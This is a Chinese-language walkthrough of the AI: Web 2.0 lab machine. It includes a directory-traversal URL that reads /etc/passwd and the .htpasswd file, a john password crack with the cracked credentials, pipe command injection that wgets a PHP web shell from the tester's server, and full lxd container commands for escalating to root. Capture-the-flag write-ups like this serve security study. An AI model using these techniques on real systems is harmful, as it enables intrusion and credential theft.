靶机简介:
这是AI:Web系列的第二个方框,您将有更多的乐趣来应对这一挑战。目标很简单。从/root/flag.txt获取标志。枚举该框,获取低特权的shell,然后将特权提升为root。
You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
名称:AI:Web 2.0
发布日期:2019年9月1日
难度:中等
目标:/root/flag.txt
靶机地址:AI: Web: 2 ~ VulnHub
-
信息搜集
-
目标IP是192.168.88.116
首先使用的是nmap端口扫描工具进行扫描,发现开了22(ssh)、80(http),目标系统应该是个Ubuntu
-
然后访问目标的80发现存在一个登录框,尝试一下注册http://192.168.88.116/signup.php
-
登录成功之后发现使用的是XuezhuLi FileSharing,然后再exploit-db搜索了一下
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
搜索发现XuezhuLi FileSharing - Directory Traversal
https://www.exploit-db.com/exploits/40009
-
进行目录扫描,发现存在文件download.php和webadmin页面
-
漏洞发现与利用
根据漏洞库发现的漏洞,通过burp抓包,进行测试,发现可以进行任意文件下载
http://192.168.88.116/download.php?file_name=../../../../../../../../../../../../../etc/passwd
-
打开webadmin发现是Apache的一个http认证,爆破一波后发现好像不行
-
于是尝试进行读取/etc/apache2/.htpasswd(Apache用它来进行验证用户身份)文件
-
于是拿出来密码破解工具john进行密码破解
首先先把密文写到一个文件里,我这里是ap2
-
然后使用john进行爆破
命令:john ./ap2 --wordlist=./rockyou-45.txt
PS: John 后面跟要爆破的密码文件 --wordlist=后面跟密码字典,我这里使用的是kali自带的密码字典rockyou
成功跑出来密码
账号aiweb2admin 密码c.ronaldo
-
然后访问webadmin进行登录
-
登录之后发现告诉我这么一句话I disallowed some contents from robots.(我不允许机器人什么什么。)于是我去访问一下robots文件
-
通过访问robots文件,发现不允许两个目录,我分别取访问这两个目录
-
访问http://192.168.88.116/webadmin/S0mextras/,上面写着:这里有有趣的信息 ~
-
在访问http://192.168.88.116/webadmin/H05Tpin9555/的时候发现这里存在一个ping测试功能,我尝试执行其令命令,发现没有反应
-
尝试使用burp进行抓包测试,利用管道符进行命令执行的时候发现执行成功whoami命令,当前用户为www-data
-
随后尝试利用命令执行漏洞写shell,发现有限制,未尝试成功,于是利用wget进行尝试远程下载一个shell
-
接着我搭建一个HTTP服务存放一个shell,这里我使用的是kali自带的一个简易HTTP服务器,使用命令python -m SimpleHTTPServer
-
然后使用wget下载预先存在的ak741.txt,成功下载的目标服务器,利用mv改名为test2.php
-
成功访问到shell
-
尝试去访问另外一个目录/S0mextras/,存在着一个隐藏文件
-
打开隐藏文件(.sshUserCred55512.txt)发现存在一个账号和密码,于是尝试ssh进行登录
-
成功利用账号和密码登录,但是只是一个普通的用户
-
提权
使用id命令显示用户的ID,以及所属群组的ID,可以看到目前登录的这个账户名为n0nr00tuser,所属组中还有一个特殊的lxd组,这个特殊的组是提权的一个关键点
-
想要提升为root权限,我们需要给靶机挂载一个lxd镜像。可以在kali服务器上从github下载build-alpine文件,然后执行build-alpine这个shell脚本。“build-alpine”,将以压缩文件的形式构建最新的Alpine镜像,最后我们需要在靶机中下载这个镜像。
git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpine
-
完成后会生成一个最新的alpine镜像
-
接着这个文件发到目标服务器上
把获取到镜像文件并挂载到系统中,同时定义该镜像别名为myimage
lxc image import ./alpine-v3.10-x86_64-20191203_2257.tar.gz --alias myimage lxc image list lxc init myimage ignite -c security.privileged=true lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true lxc start ignite lxc exec ignite /bin/sh whoami cd /mnt/root/root ls cat fiag.txt
-
最后,把容器挂载到/root目录中。进入容器后通过/mnt/root可以看到靶机的所有文件。执行完脚本文件后,我们的shell操作符发生变化,代表我们现在进入的是容器的shell操作页面。这个容器拥有该靶机的root权限,也就是我们通过容器成功提权。这个时候其实整个靶机的渗透测试就已经结束了,不过还有一个flag文件在root目录下,cat命令查看final.txt获取flag
-